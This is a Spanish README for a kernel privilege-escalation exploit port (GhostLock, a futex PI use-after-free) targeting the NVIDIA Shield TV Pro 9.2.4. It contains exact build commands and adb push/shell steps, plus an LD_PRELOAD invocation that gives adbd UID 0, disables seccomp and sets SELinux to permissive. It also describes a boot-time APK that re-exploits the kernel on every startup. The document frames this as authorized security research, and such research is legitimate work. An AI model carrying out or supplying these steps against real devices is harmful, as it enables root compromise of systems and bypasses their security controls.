GhostLock para NVIDIA Shield TV Pro 9.2.4

Puerto arm64 validado del use-after-free de futex PI de GhostLock (CVE-2026-43499) para la NVIDIA Shield TV Pro 2019 (mdarcy) con Shield Experience 9.2.4. El payload cambia las credenciales del daemon ADB en vivo, por lo que los nuevos shells ADB tienen UID 0 sin desbloqueo de bootloader, borrado de datos de usuario, instalación de su ni modificación de la partición verificada.

Este es un exploit de kernel específico de una compilación para investigación de seguridad autorizada. Una discrepancia o una carrera perdida puede provocar un pánico del kernel. No lo ejecute en otra huella, kernel, dispositivo o revisión de hardware.

Objetivo validado

El puerto se validó en un dispositivo bloqueado con Verified Boot verde y dm-verity en modo enforcing. Esos mecanismos permanecen intactos porque el exploit solo cambia el estado del kernel en vivo.

Resultado y duración

Tras una ejecución exitosa, una conexión nueva informa UID/GID 0 tanto para adbd como para su shell hijo, capacidades completas hasta la capacidad 37, seccomp deshabilitado y SELinux permisivo. Root sobrevive a las desconexiones del cliente ADB. No sobrevive por sí solo a un reinicio de adbd ni a un reinicio del dispositivo.

Para persistencia práctica tras reinicios sin modificar las particiones verificadas, el repositorio incluye un APK de datos de usuario. Su receptor BOOT_COMPLETED no exportado inicia un servicio en primer plano de corta duración, que ejecuta el exploit con hash fijado una vez por arranque desde un UID de aplicación sin privilegios y se detiene cuando el ejecutor sale. No se necesita un host externo tras la instalación. Un watchdog externo de Podman sigue disponible como respaldo de recuperación. Consulte persistence/README.md y watchdog/README.md.

Esto es re-explotación autónoma, no un parche de firmware estático: cada arranque tiene un breve intervalo en el que adbd aún conserva sus credenciales originales. Hacer que adbd se inicie como root antes de que Android lo inicialice requeriría cambiar la cadena de arranque verificada, lo que queda fuera de este diseño bloqueado y sin borrado.

Cadena del exploit

1. Activar la ruta vulnerable de reversión de futex PI y retener un rt_mutex_waiter obsoleto en una pila del kernel.
2. Marcar la pila reclamada con MCAST_BLOCK_SOURCE y redirigir la operación del árbol rt-mutex.
3. Reclamar una página de slab mm_struct de orden 2 liberada con un payload skb con forma definida.
4. Redirigir ashmem_misc.fops a una tabla falsa respaldada por los manejadores de lectura/escritura heredados de configfs.
5. Recorrer la lista de tareas, localizar el PID solicitado de adbd y verificar su objeto de credenciales completo.
6. Realizar una escritura acotada sobre IDs, securebits y palabras de capacidad; poner SELinux en permisivo; luego restaurar las operaciones de ashmem y el puntero del ID de arranque.

La etapa heredada de lectura/escritura física del pipe-buffer no se utiliza. Las observaciones detalladas del objetivo y los desplazamientos verificados están en PORT_STATUS.md.

Compilación

El compilador es Android NDK r29 (aarch64-linux-android30-clang). Compile directamente con un NDK de Linux instalado:

cd exploit
make NDK=/opt/android-ndk-r29

O compile la imagen Podman suministrada, que descarga el archivo oficial de Linux r29 y verifica su SHA-1 publicado antes de la extracción:

podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
  -v "$PWD:/src:Z" \
  -w /src/exploit \
  ghostlock-android:ndk-r29 make -B

Salida:

exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761

La compilación de Shield excluye deliberadamente el daemon su integrado del proyecto de referencia y el payload de fondo de pantalla.

Ejecución

Conéctese mediante ADB de red autorizado, envíe el asset de la versión o la compilación local y luego entre a un shell ADB:

adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
  exploit/build/preload-mdarcy-9.2.4.so \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell

Ejecute esto dentro de ese shell del dispositivo:

GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true

Desconéctese y abra un transporte nuevo para la verificación:

adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
  'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'

El payload se niega a reactivarse desde un shell ADB que ya tiene UID 0 a menos que se suministre deliberadamente GHOSTLOCK_FORCE_ROOT_TRIGGER=1. No lo fuerce; la ruta de planificación privilegiada tiene un comportamiento de PI diferente y puede provocar un pánico.

Persistencia en el dispositivo

Descargue el APK de la versión firmada en persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk, luego instálelo y actívelo desde un host ADB de PowerShell autorizado:

./persistence/install.ps1 `
  -Target SHIELD_ADDRESS:5555 `
  -AdbPath C:/path/to/platform-tools/adb.exe

El instalador solo cambia los datos de usuario y no reinicia. En el siguiente BOOT_COMPLETED, la aplicación valida la huella exacta, el kernel y el hash del payload integrado, registra su intento e invoca GhostLock desde su UID de aplicación normal. Un bloqueo de archivo, un estado de un intento por arranque y un período de enfriamiento de 15 minutos entre arranques evitan intentos duplicados o bucles de reinicio. No instala ningún binario su. Android muestra una notificación de baja prioridad Restoring ADB root solo mientras el ejecutor nativo está activo; el waiter la elimina cuando el proceso sale. Consulte persistence/README.md para obtener detalles de compilación, firma, registros, verificación, recuperación y desinstalación.

El APK final se validó con el watchdog externo detenido: el recuento de arranque 134 expuso por primera vez el adbd original con UID-2000/enforcing, y el siguiente transporte nuevo tenía UID/GID 0 con la máscara de capacidad completa 0x3fffffffff, seccomp deshabilitado y SELinux permisivo. El servicio y la notificación se habían limpiado por sí solos.

Registros y recuperación

Los diagnósticos de ejecución manual se escriben de forma síncrona en /sdcard/Download/log_<timestamp>.txt, con respaldo en /data/local/tmp. La aplicación de arranque redirige la salida del ejecutor y del payload a su files/boot.log privado, legible con run-as com.cyberbalsa.ghostlockboot. Si la carrera provoca un pánico del kernel, el estado previo al disparo impide otro intento en ese recuento de arranque y el período de enfriamiento de 15 minutos se mantiene a través del reinicio.

Mapa del repositorio

• exploit/src/: disparador, reclamación, lectura/escritura arbitraria y parche acotado de credenciales de adbd.
• exploit/targets/shield-mdarcy-9.2.4/: diseño exacto del objetivo específico de la compilación.
• analysis/: ayudas de extracción de símbolos y diseño del kernel.
• persistence/: APK de arranque en el dispositivo, ejecutor nativo e instalador.
• watchdog/: respaldo de recuperación del lado del host con hash fijado.
• report.md: análisis original del puerto de referencia OPPO conservado para procedencia.

Créditos y licencia

Este puerto deriva del marco de investigación y exploit GhostLock publicado por NebuSec y del puerto de referencia OPPO PCKM00 de yijiacloud. KernelSnitch está integrado bajo sus términos ascendentes.

• https://github.com/NebuSec/CyberMeowfia
• https://github.com/yijiacloud/GhostLock-OPPO-PCKM00
• https://github.com/torvalds/linux/commit/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

Apache-2.0; consulte LICENSE.